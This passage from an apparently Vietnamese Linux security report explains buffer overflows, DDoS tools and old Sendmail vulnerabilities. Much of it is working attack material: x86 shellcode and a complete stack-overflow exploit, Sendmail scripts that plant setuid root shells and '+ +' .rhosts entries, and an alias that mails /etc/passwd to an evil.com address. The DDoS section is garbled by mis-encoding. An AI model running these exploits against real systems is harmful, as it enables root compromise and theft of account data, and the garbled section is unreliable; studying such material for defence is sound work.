sizeof(buffer)); Vậy thì điều gì sẽ xảy ra khi gặp lỗi segmentation fault? Trong bộ nhớ thì cái buffer ở trên có dạng như sau: buffer sfp ret [BBBBBBBBBB][xxxx][xxxx] Trong đó 10 bytes đầu để chứa dữ liệu (thực ra chỉ có 9 byte thôi vì byte cuối phải chứa NULL để báo hiệu kết thúc). Sau đó là Stack Frame Pointer 4 byte và Return Address 4 byte nữa. Khi mà hàm strcpy được gọi thì một stack frame được cấp phát trong bộ nhớ với format như trên. Ví dụ: strcpy(one, two); printf("Okie\n"); Return address sẽ trỏ tới vị trí của lệnh gọi tới hàm printf trong bộ nhớ, và khi hàm strcpy kết thúc thì con trỏ lệnh sẽ chỉ tới đó. Bây giờ hãy thử tưởng tượng xem nếu ta thay đổi cái địa chỉ đặt ở đó, để cho nó trỏ đến vị trí của shell code thì sẽ ra sao? Nếu tiến trình đang thực hiện ở với quyền của root thì ta sẽ có được root shell. Nếu thay vì copy 10 byte chúng ta cop hẳn 18 byte thì nó sẽ được điền đầy: buffer sfp ret [dddddddddd][dddd][dddd] (giả sử byte dữ liệu là d) Lúc đó return address sẽ là 0x64646464 (vì mã hex của 'd' là 0x64 mà). Chú ý là string luôn bị ngắt bởi NULL (0x0), nên nếu đặt return address là 0x64006464 thì hai byte sau sẽ bị cắt đi. Một khái niệm cần quan tâm nữa là stack pointer. Mỗi một tiến trình khi chạy sẽ sinh ra một stack pointer trỏ đến địa chỉ khởi đầu của stack. Việc xác định stack pointer khá đơn giản bằng hàm sau: /* sp.c */ unsigned long sp(void) { ("movl %esp, %eax"); } // và có thể in ra được void main(void) { printf("0x%x\n", sp()); } Giả sử bạn dịch xong rồi chạy nó: $ ./sp 0xbfbffbc8 $ Thì giá trị của stack pointer là 0xbfbffbc8. Tức là tất cả các biến được cấp phát bộ nhớ của chúng ta trong chương trình sẽ nằm sau địa chỉ này. Từ địa chỉ này chúng ta sẽ tìm được địa chỉ của buffer. /************************************************************ * Linux 23 byte execve code. Greetz to preedator * *************************************************************/ char linux[]= "\x99" /* cdq */ "\x52" /* push %edx */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* mov %esp,%ebx */ "\x52" /* push %edx */ "\x54" /* push %esp */ "\x54" /* push %esp */ "\x59\x6a" /* pop %ecx */ "\x0b\x58" /* push $0x0b */ "\xcd\x80"; /* int $0x80 */ int main(){ void (*run)()=(void *)linux; printf("%d bytes \n",strlen(linux)); run(); } /* www.hack.co.za [28 April 2001]*/ Cái này đã test, tuy báo lỗi segmentation fault nhưng vẫn chạy tốt. Nó sẽ gọi đến sh một lần nữa, và ta có thể gõ exit để thoát ra. Ta hãy thử viết một chương trình nhỏ có ẩn chứa khả năng bị overflow: /* vulnerable.c */ int main(int argc, char *argv[]) { char buffer[500]; if(argc>=2) { strcpy(buffer, argv[1]); ptintf(“Done!”); } return 0; } Chương trình này sẽ copy tham số truyền từ ngoài vào một mảng 500 byte. Dịch và chạy thử : $ gcc -o vulnerable vulnerable.c $ ./vulnerable Hello Done $ Không có gì xảy ra cả vì “Hello” quá nhỏ so với 500 byte. Chúng ta lại viết thêm một chương trình nữa: /* overflow.c */ void main() { char buffer[501]; memset(&buffer, 'a', sizeof(buffer)); execl("./vulnerable", "vulnerable", buffer); } Nó sẽ gọi đến vulnerable và truyền vào một mảng 501 byte. $ gcc -o overflow overflow.c $ ./overflow $ Không có gì hiện ra cả, bởi vì lệnh strcpy đã sinh ra lỗi. Nếu chạy trên linux thì có thể sẽ hiện lỗi “Bus error”, còn trên cygwin thì không hiểu có cơ chế gì bảo vệ bộ nhớ nên không có thông báo lỗi. Bây giờ hacker có thể lợi dụng lỗi này để chạy shellcode. Có 500 byte để chứa shellcode, bây giờ hacker có thể xác định shellcode nằm ở đâu trong bộ nhớ và cho trỏ lệnh nhảy đến đó. Ở trên chúng ta đã biết các hacker có thể xác định được stack pointer, và buffer sẽ nằm ở đâu đó đằng sau vị trí này. Một tiểu xảo của các hacker, đó là dùng NOP. NOP (có lẽ là Not OPerate) là một lệnh assembly có mã \x90, nó chẳng làm gì cả, chỉ đơn giản là pass qua lệnh tiếp theo. Bình thường thì lệnh này ít sử dụng, chỉ đôi khi được dùng để tạo delay. được đặt vào trước shellcode khoảng 200 byte NOP, có thể chọn vị trí tương đối của buffer, khi con trỏ lệnh trỏ đến khu vực này thì chỉ mất thêm mấy msec trước khi shellcode được thực hiện. Để cho chắc chắn chúng tạo buffer lớn hơn 100 byte, nghĩa là 600 byte, và có dạng: [NOP][shellcode][return address] Chú ý là đằng sau shellcode được điền đầy bởi return address để đảm bảo rằng giá trị return address sẽ được ghi vào phần chứa return address của buffer. Có thể thay đổi giá trị của return address băng cách thêm vào sp một giá trị offset. Một chương trình của hacker như sau: /* exploit.c */ #include #define BUFFERSIZE 600 /* buffer + 100 bytes */ /* linux x86 shellcode */ char shellcode[] = "\x99" /* cdq */ "\x52" /* push %edx */ "\x68\x2f\x2f\x73\x68" /* push $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */ "\x89\xe3" /* mov %esp,%ebx */ "\x52" /* push %edx */ "\x54" /* push %esp */ "\x54" /* push %esp */ "\x59\x6a" /* pop %ecx */ "\x0b\x58" /* push $0x0b */ "\xcd\x80"; unsigned long sp(void) /* hàm lấy sp */ { ("movl %esp, %eax"); } void usage(char *cmd) { printf("\nusage: %s \n\n", cmd); exit(-1); } int main(int argc, char *argv[]) { int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr, *osptr; if(argc<2) usage(argv[0]); offset = atoi(argv[1]); /* lấy giá trị offset 0 - 200 */ esp = sp(); /* lấy sp */ ret = esp-offset; /* sp - offset = return address */ printf("Stack pointer: 0x%x\n", esp); printf(" Offset: 0x%x\n", offset); printf(" Return addr: 0x%x\n", ret); /* cấp phát bộ nhớ cho buffer */ if(!(buffer = malloc(BUFFERSIZE))) { printf("Couldn't allocate memory.\n"); exit(-1); } /* điền đầy buffer bằng giá trị của return address */ ptr = buffer; addr_ptr = (long *)ptr; for(i=0; i<BUFFERSIZE; i+=4) *(addr_ptr++) = ret; /* điền nửa đầu của buffer bằng mã lệnh NOP */ for(i=0; i<BUFFERSIZE/2; i++) buffer[i] = '\x90'; /* ghi shellcode vào giữa buffer */ ptr = buffer + ((BUFFERSIZE/2) - (strlen(shellcode)/2)); for(i=0; i<strlen(shellcode); i++) *(ptr++) = shellcode[i]; /* hehe bây giờ truyền buffer vào thằng vulnerable */ buffer[BUFFERSIZE-1] = 0; execl("./vulnerable", "vulnerable", buffer); return 0; } 4.5 DoS Muèn thùc hiÖn mét cuéc tÊn c«ng DDOS ph¶i cÇn Ýt nhÊt 3 yÕu tè: - Client: §©y lµ hÖ thèng bÞ kiÓm so¸t bëi Hacker. Nã ®­îc dïng nh÷ng c«ng cô nh­ Rootkit ®Ó dµnh quyÒn kiÓm so¸t mét hÖ thèng nµo ®ã, råi dß t×m nh÷ng Site bÞ qu¶n lý kÐm ®Ó cã thÓ lîi dông nh­ mét bé ®iÒu khiÓn. - Handler: Bé ®iÒu khiÓn ®ã ®Õn l­ît m×nh m×nh bÞ nhiÔm vµ ®­îc dïng ®Ó t¸c ®éng truy t×m c¸c Zombine. Th­êng lµ c¸c Server Unix cã ®é b¶o mËt kÐm. Sau khi t×m ®­îc nhiÒu Zombine. Handler sÏ tËp hîp chóng l¹i ®Ó ®iÒu khiÓn cuéc tÊn c«ng. - Zombine: §­îc l©y nhiÔm vµo c¸c Server cã cÊu ®é b¶o mËt kÐm. Hacker sÏ dïng trùc tiÕp c¸c Server nµy ®Ó Attack môc tiªu. Zombine sÏ tiÕp tôc tÊn c«ng môc tiªu cho ®Õn khi nµo cã lÖnh chÊm døt qu¸ tr×nh tÊn c«ng cña Hacker. VËy lµm sao ®Ó biÕt ®­îc hÖ thèng cña m×nh bÞ c¸c Hacker lîi dông biÕn thµnh Zombine ? C¸ch ®èi phã Cã rÊt nhiÒu c¸ch ®èi phã. Nh­ng cã lÏ c¸ch ®¬n gi¶n vµ Ýt tèn kÐm nhÊt lµ lu«n kiÓm tra vµ ng¨n chÆn hÖ thèng cña m×nh kh«ng bÞ c¸c Hacker lîi dông. Ta cã thÓ dïng c«ng cô Zombine Zapper khi nghi ngê hÖ thèng cña m×nh ®ang cã nguy c¬ trë thµnh Zombine Zombine Zapper: Ch­¬ng tr×nh cã kh¶ n¨ng ho¹t ®éng nh­ nh÷ng Client tíi DDOS Server ®ang Send nh÷ng gãi tin lµm ngËp ®Õn môc tiªu. Nã lµ mét Tool rÊt h÷u hiÖu khi nghi ngê hÖ thèng ®ang cã kh¶ n¨ng trë thµnh mét Zombine, vµ cã thÓ nhanh chãng v« hiÖu ho¸ Zombine nµy tr­íc khi hÖ thèng cña ta bÞ Hacker lîi dông. Zombine Zapper cã thÓ ®ãng c¸c DDOS Server. Khi nµo nªn sö dông Zombine Zapper ? Ta cã thÓ cÊu h×nh c¸c thiÕt bÞ, dÞch vô IDS (dß x©m nhËp) ®Ó chóng tù ®éng ch¹y Zombine Zapper chèng l¹i nh÷ng l¹i sù lîi dông hÖ thèng cña m×nh. Theo c¸ch nµy vÊn ®Ò sÏ tù ®éng ®­îc gi¶i quyÕt. Cã thÓ Down Zombine Zapper ë Biªn dÞch vµ cµi ®Æt Zombine Zapper Libnet: TËp hîp th­ viÖn hç trî cho phÐp cho phÐp hÖ thèng t¹o ra nh÷ng packet trªn sö dông trªn m¹ng. HÖ thèng buéc ph¶i cã th­ viÖn nµy nÕu nh­ muèn sö dông Zombine. §©y lµ mét th­ viªn hÕt søc ®¹i chóng trªn nÒn OS Unix/Linux. Cã thÓ Down chóng ë: Khi ®· cã trong tay Source Code cña ZZ vµ Libnet. §Çu tiªn cÇn ph¶i bung nÐn cho c¸c gãi b»ng lÖnh: tar -zxvf *.tar.gz Sau khi bung nÐn xong ta b¾t ®Çu cµi ®Æt Libnet. B»ng c¸ch chuyÓn ®Õn th­ môc võa bung nÐn Libnet råi ch¹y Script configure b»ng lÖnh: ./configure Sau khi thùc hiÖn xong lÖnh nµy, gâ tiÕp: make make install §Ó kÕt thóc viÖc cµi ®Æt Libnet: make supp make ulti B©y giê ta b¾t ®Çu biªn dÞch ZZ. Th«ng b¸o cho tr×nh biªn dÞch GCC biÕt r»ng Libnet ®· tån t¹i trªn hÖ thèng cña m×nh b»ng lÖnh: gcc 'libnet-config -defines' -o zz zz.c -lnet CÊu tróc lÖnh c¨n b¶n cña Zombine Zapper. Sau khi biªn dÞch xong ZZ, ta gâ ./zz Nh÷ng th«ng tin: Zombie Zapper v1.2 - DDoS killer Bugs/comments to thegnome@razor.bindview.com More info and free tools at Copyright (c) 2000 BindView Development === You must specify target(s) or a class C to send to USAGE: ./zz [-a 0-5] [-c class C] [-d dev] [-h] [-m host] [-s src] [-u udp] [-v] hosts -a antiddos type to kill: 0 types 1-4 (default) 1 trinoo 2 tfn 3 stacheldraht 4 trinoo on Windows 5 shaft (requires you use the -m option) -c class C in x.x.x.0 form -f time in seconds to send packets (default 1) -d grab local IP from dev (default eth0) -h this help screen -m my host being flooded (used with -a 5 above, only one host) -s spoofed source address (just in case) -u UDP source port for trinoo (default 53) -v verbose mode (use twice for more verbosity) host(s) are target hosts (ignored if using -c) Trong ®ã cÇn chó ý ®Õn mét sè tuú chän sau: -a : Cho phÐp chØ râ ®Þa chØ mµ nghi ngê ®ang lµ Zombine. -c : Dïng tuú chän nµy ®Ó Scan toµn bé c¸c Host thuéc ph©n líp C, nÕu ch­a biÕt chÝnh x¸c Host nµo ®ang bÞ nhiÔm Zombine. -s: Spoof ®Þa chØ cña ta, kh«ng cho Hacker biÕt ai ®· ng¨n chÆn Zombine cña hä. -u : ChuyÓn ®æi Port UDP mÆc ®Þnh. Mét sè vÝ dô cô thÓ. Sau khi biªn dÞch thµnh c«ng ZZ ta ch¹y thö nã b»ng lÖnh: ./zz Cã mét Help Menu. Gi¶ sö! ta ®ang nghi ngê trong hÖ thèng m¹ng cña ta 192.168.5.0 cã vµi host ®ang trªn ®ã ®ang göi nh÷ng gãi tin TFN (Tribal Flood Network). Th­êng th× TFN Server th­êng sö dông nh÷ng Password mÆc ®Þnh. Khi muèn Server TFN ë trªn Host ®ã ngõng ho¹t ®éng. Ta dïng lÖnh ./zz -c 192.168.5.9 Toµn bé nh÷ng TFN Server trªn ph©n l¬p m¹ng C sÏ bÞ v« hiÖu ho¸. Khi muèn v« hiÖu hãa TFN Server trªn mét ®Þa chØ cô thÓ vÝ dô nh­ 207.192.45.2 dïng lÖnh: ./zz -a 2 207.192.45.2 §Ó biÕt nhiÒu th«ng tin h¬n vÒ gãi ®­îc göi ra, cã thÓ dïng tuú chän -vv: ./zz -a 2 -vv 207.192.45.2 NÕu muèn Spoof ®Þa chØ cña m×nh ®Ó c¸c Hacker kh«ng biÕt r»ng ai ®· ng¨n chÆn c¸c gãi tin lµm ngËp cña anh ta th× cã thÓ sö dông tuú chän -s ®i kÌm víi ®Þa chØ IP mµ muèn Spoof, ta dïng lÖnh: ./zz -a 2 -vv 207.192.45.2 -s 10.1.2.3 4.6 Các lỗ hổng bảo mật của Sendmail Sendmail là gì ? Sendmail là một Server phục vụ việc gửi và nhận E-mail. Mặc định nó được cài đặt và sử dụng trên hầu hết các họ NOS thuộc Unix như: Linux, SunOS, HP-UX, Solaris...Tuy nhiên Sendmail là một chương trình quá phức tạp với hơn 80000 dòng lệnh C. Lên đã có rất nhiều lỗ hổng bảo mật về nó được phát hiện. Danh sách các lỗ hổng bảo mật của Sendmail. 1) Wiz Đầy được coi là Bug lâu đời nhất và dễ bị khai thác nhất trong Sendmail. Bây giờ rất khó tìm được các Bug kiểu này. Khi Connect được vào sendmail, chỉ cần gõ “wiz” và tiếp đó gõ “shell” và hacker đã có RootShell trong tay. 2) Debug Bug này được phát hiện và sử dụng bởi Inet Worm của Robert T.Morris. Nó cho phép bất cứ ai cũng có thể chạy các chương trình trên Server từ xa. Nó tiềm ẩn ở trong các dòng lệnh Debug. Sử dụng một ống nối tới /bin/sh như người phục vụ và sử dụng các lệnh muốn thực thi các chương trình trên Server từ xa. Ta xem thử ví dụ sau: #!/bin/sh telnet << EOF open fucked.host.edu 25 debug mail from: rcpt to: data cp /bin/sh /tmp/sushi # or alternatively: chmod 4755 /tmp/sushi # echo "+ +" >> /.rhosts . EOF 3) Turn Bug này cho phép các Hacker coi trộm mail của các User. Nó hơi phức tạp và khó sử dụng. 4) Overflow Input Buffer Buffer luôn được coi là ác mộng của các hệ thống và Sendmail cũng không phải là ngoại lệ. Bộ đệm của Sendmail mặc định dài 128 byte. Chuyện gì sẽ xảy ra khi một Hacker Connect đến Sendmail rồi gửi khối dữ liệu gồm 1000 chữ “a” đến lệnh VRFY thay vì tên người dùng ? Echo “vrfy ‘perl –e ‘print “a” x 1000’’” |nc 25 Bộ đệm VRFY của Sendmail chỉ quy định nắm giữ 128 byte thôi, nhưng đầu vào lại bị nhét đến 1000 byte...Chắc chắn bộ đệm của nó sẽ bị tràn, dẫn đến Crash. 5) Decode Alias Nếu ‘etc/alises’ chứa đựng "|/usr/bin/uudecode" , bất cứ ai cũng có thể gửi mail đến Decode, ghi đè bất cứ file nào mà họ thích lên Deamon. Để kiểm tra Bug này ta làm như sau: % telnet target.com Trying 127.127.127.127 Connected to target.com Escape character is '^]'. 220 target.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT expn decode 250 quit Tiếp đó gõ: % echo "myhost.com" | uuencode /usr/bin/.rhosts | mail decode@target.com Hoặc: MoreThan1SecExploit: % cat > outfile # Let's make our .rhosts file + + ^C % uuencode outfile /usr/bin/.rhosts begin 644 /bin/.rhosts $*R'K"O\ Lại tiếp tục Telnet đến Senmail để khai thác: % telnet fuqdhost.com 25 220 fuqdhost.com SunOS Sendmail 8.6.1 #5 ready at Fri, 13 May 99 00:00 (EST) VRFY decode 250 MAIL FROM: bin 250 ... Sender Okay RCPT TO: decode 250 ... Recipient Okay DATA 354 Enter mail, end with "." on a line by itself begin 644 /bin/.rhosts $*R'K"O\ # which is just "+ +" uuencoded end . 250 Mail accepted quit 221 fuqdhost.com closing connection Connection closed by foreign host. % rlogin fuqdhost.com -l bin $ Nếu không có Home Directory nào được biết hoặc được ghi, một biến đổi thú vị sẽ cho phép tạo ra một bogus /etc/aliases.pag file chứa đựng một bí danh lệnh cho phép Excute trên Server. evil % cat decode bin: "| cat /etc/passwd | mail zen@evil.com" evil % newaliases -oQ/tmp -oA`pwd`/decode evil % uuencode decode.pag /etc/aliases.pag | mail decode@victim.com evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null 6) qf SunOS Bug này được phát hiện ở các phiên bản Sendmail chạy trên SunOS. Vấn đề bắt đầu từ cách mà Sendmail sử dụng để mở một File điều khiển /usr/spool/mqueue/qf# không được bảo mật. Một tình trạng tranh đua (A race condition) sẽ tồn tại, bằng cách nào khác, một tiến trình khác có thể dành được quyền điều khiển file Descriptor (được quyền truy xuất nó)...Sendmail v5, trong quá trình hoạt động, nó Set Umask(0), đầy là một Mask không an toàn...Bug này cho phép các User cục bộ trên hệ thống có thể ghi lên các file và chạy bất cứ chương trình nào...Như root. Đoạn Code C sau sẽ thực hiện việc này: /* * grabfd.c * usage: grabfd username command-file * username: user to execute 'command-file' as. * command-file: file containing 10 lines of shell commands to execute. */ #include #include #include #include #ifndef SENDMAIL #define SENDMAIL "/usr/lib/sendmail" #endif #ifndef SPOOL_DIR #define SPOOL_DIR "/usr/spool/mqueue" #endif char myqfile[] = "D%s\nC%s\nR|/usr/ucb/tail|/bin/sh\n"; main(argc,argv) int argc; char **argv; { int pid, fd; char tbuf[MAXPATHLEN], sysbuf[BUFSIZ]; if (argc != 3) { (void)fprintf(stderr, "%s: user file\n", argv[0]); exit(1); } if (getpwnam(argv[1]) == NULL) (void)fprintf(stderr, "%s: user %s unknown (error ignored)\n", argv[0], argv[1]); if (access(argv[2], F_OK) == -1) { (void)fprintf(stderr, "%s: %s does not exist.\n", argv[0], argv[2]); exit(1); } if (access(SPOOL_DIR, X_OK) == -1) { (void)fprintf(stderr, "%s: cannot access %s.\n", argv[0], SPOOL_DIR); exit(1); } if (pid=fork()) { if (pid == -1) { (void)perror("fork"); exit(1); } (void)sprintf(tbuf, "%s/tfAA%05d", SPOOL_DIR, pid); (void)sprintf(sysbuf, myqfile, argv[2], argv[1]); for (;;) if ((fd=(open(tbuf, O_WRONLY, 0))) != -1) { (void)printf("%s: grabbed queue fd.\n", argv[0]); (void)wait(); (void)ftruncate(fd, 0); (void)write(fd, sysbuf, strlen(sysbuf)); (void)close(fd); if(execl(SENDMAIL, "sendmail", "-q", (char *)0) == -1) { (void)perror("execl"); exit(1); }; } } else { (void)close(0); if (open("/etc/motd", O_RDONLY, 0) == -1) { (void)perror("open"); exit(1); }; if (execl(SENDMAIL, "sendmail", #ifdef sun "-os", #endif "-odq", getlogin(), (char *)0) == -1) { (void)perror("execl"); exit(1); }; } exit(1); } 7) -oR SunOS = SunOS-4.1.X-sendmail V5.22 Tuỳ chọn -oR sử dụng popen() để trả lại những mail không thể gửi đi, hay gửi đi rồi mà quay lại vì một lý do nào đó. Bug này cho phép các User cục bộ có thể lấy được quyền root... Dùng đoạn Shell nhỏ sau: #!/bin/sh # Syntax: roption host # host is any system running sendmail (except localhost). This exploits a flaw in SunOS sendmail(8), and attempts # create a suid root shell Written 1995 by [8LGM] Please do not use this script without permission. PROG="`basename $0`" PATH=/usr/ucb:/usr/bin:/bin export PATH IFS=" " export IFS # Check args if [ $# -ne 1 ]; then echo "Syntax: $PROG host" exit 1 fi # Check we're on SunOS if [ "x`uname -s`" != "xSunOS" ]; then echo "Sorry, this only works on SunOS" exit 1 fi PROG="`basename $0`" EXECME=/tmp/HotterThanMojaveInMyHeart # Create EXECME.c cat > $EXECME.c << 'EOF' main(argc,argv) int argc; char *argv[]; { chown("/tmp/InfamousAngel", 0, 0); chmod("/tmp/InfamousAngel", 04755); } EOF cc -o $EXECME $EXECME.c # Check we have EXECME if [ ! -x $EXECME ]; then echo "$PROG: couldnt compile $EXECME.c - check it out" exit 1 fi /bin/cp /bin/sh /tmp/InfamousAngel # Run sendmail /usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF' To: No1InParticular Hows it goin EOF exec /tmp/InfamousAngel Hoặc sử dụng đoạn Code tiếp: #!/bin/sh # sunsendmailcp from to if [ $# -ne 2 ]; then echo usage: `basename $0` from to exit 1 fi rm -f /usr/tmp/dead.letter if [ -f /usr/tmp/dead.letter ]; then echo sorry, cant continue - /usr/tmp/dead.letter exists fi if [ ! -r $1 ]; then echo $1 doesnt exist or is unreadable exit 1 fi ln -s $2 /usr/tmp/dead.letter /usr/lib/sendmail -L0 '-oM#anything' $USER < $1 rm /usr/tmp/dead.letter exit 0 Bạn gõ: % ./sunsendmailcp sourcefile targetfile File sẽ bị ghi đè. 8) OVERWRITE FILES - FiXED iN 5.59 Những người dùng từ xa có thể ghi đè lên các file trên hệ thống mà không cần quyền root. Bug này đã được phát hiện trong Version 5.59 của Berkeley và có thể là cả các Version trước nữa: % cat evil_sendmail telnet victim.com 25 << EOSM rcpt to: /home/zen/.rhosts mail from: zen data random garbage . rcpt to: /home/zen/.rhosts mail from: zen data evil.com . quit EOSM evil % /bin/sh evil_sendmail Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l zen Welcome to victim.com! victim % TÀI LIỆU THAM KHẢO: Tài liệu tham khảo chính dùng trong báo cáo: www.security.com.vn Các trung tâm giúp đối phó tai nạn trên Internet Website về an toàn máy tính Thông tin về an toàn từ nhà cung cấp Một số sách về an toàn máy tính Actually Useful Internet Security Techniques by Larry J. Hughes Jr. Applied Cryptography: Protocols, Algorithms and Source Code in C by Bruce Schneier Building Internet Firewall by Brent Chapman & Elizabeth D. Zwicky Cisco IOS Network Security by Mike Kaeo Firewalls and Internet Security by Bill Cheswick & Steve Bellovin Halting the Hacker: A practical Guide To Computer Security by Donal L. Pipkin Intrusion Detection: An Introduction to Internet Surveillance, Correlation, Traps, Trace Back and Response by Edward G. Amoroso Intrusion Detection: Network Security Beyond the Firewall by Terry Escamilla Linux Security by Jonh S. Flowers 1.Lời nói đầu: 1.1 Những nguy cơ an ninh trên linux 1.2 Xem xét chính sách an ninh 2 Giới thiệu chung: 2.1 Ai đang phá hoại hệ thống 2.2 Những kẻ xâm nhập vào hệ thống của ta như thế nào 2.3 Tại sao kẻ xâm nhập có thể vào được hệ thống của chúng ta 2.3.1 Những lỗi phần mềm 2.3.2 Cấu hình hệ thống 2.3.3 Password cracking 3 Giải pháp an ninh 3.1 Mật khẩu : 3.1.1 Bảo mật BIOS - Đặt mật khẩu khởi động: 3.1.2 Chọn một mật khẩu (password) đúng: 3.1.3 Default password 3.1.4 Mã hoá - Tăng tính an toàn của mật khẩu 3.1.5 Các mối đe doạ khác và các giải pháp 3.1.6 Các công cụ kiểm tra pass 3.2 Cấu hình hệ thống 3.2.1 Tài khoản root 3.2.2 Tập tin "/etc/exports" 3.2.3 Vô hiệu hóa việc truy cập chương trình console 3.2.4 Tập tin "/etc/inetd.conf" 3.2.5 TCP_WARPPERS 3.2.6 Tập tin "/etc/host.conf" 3.2.7 Tập tin "/etc/services" 3.2.8 Tập tin "/etc/securetty" 3.2.9 Các tài khoản đặc biệt: 3.2.10 Ngăn chặn bất kỳ người sử dụng nào chuyển thành root bằng lệnh "su". 3.2.11 Securing Files 3.2.12 Bảo vệ thư mục trên web server 3.2.13 XWindows Security 3.2.14 Tăng cường an ninh cho KERNEL 3.2.15 An toàn cho các giao dịch trên mạng 3.2.16 Open SSH 3.3 Theo dõi và phân tích logfile 3.4 Cài đặt và nâng cấp hệ thống 3.4.1 Linux OpenSSL Server 3.4.2 LINUX FIREWALL 3.4.3 Linux Intrusion Detection System (LIDS) 3.4.4 Dùng công cụ dò tìm và khảo sát hệ thống 3.4.5 Phát hiện sự xâm nhập qua mạng 3.4.6 Công cụ snort: 3.4.7 Công cụ giám sát - Linux sXid 3.4.8 Công cụ giám sát - Portsentry 3.5 Đối phó khi hệ thống bị tấn công 4 Một số lỗi bảo mật cơ bản 4.1 Attack From Inside Unix 4.2 Bacdoor trong Unix 4.3 Buffer Overflow (Tràn bộ đệm) 4.5 DoS 4.6 Các lỗ hổng bảo mật của Sendmail 5 Thiết kế thử nghiệm một trình tiện ích bảo mật cho Linux

Các file đính kèm theo tài liệu này:

  • docP0033.doc